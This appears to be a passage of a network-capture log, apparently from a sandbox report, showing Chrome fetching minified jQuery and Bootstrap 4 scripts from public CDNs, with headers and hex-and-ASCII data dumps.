2025-01-14 16:25:34 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-01-14 16:25:34 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-01-14 16:25:34 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-01-14 16:25:34 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-01-14 16:25:34 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-01-14 16:25:34 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-01-14 16:25:34 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	51412	104.18.10.207	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:34 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:34 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 1762043 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901efb97cb3041d8-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:34 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	51411	104.18.11.207	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:34 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:34 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 55ff1487c6071501927da70bb950f7b5 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1484114 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901efb97efc14375-EWR alt-svc: h3=":443"; ma=86400
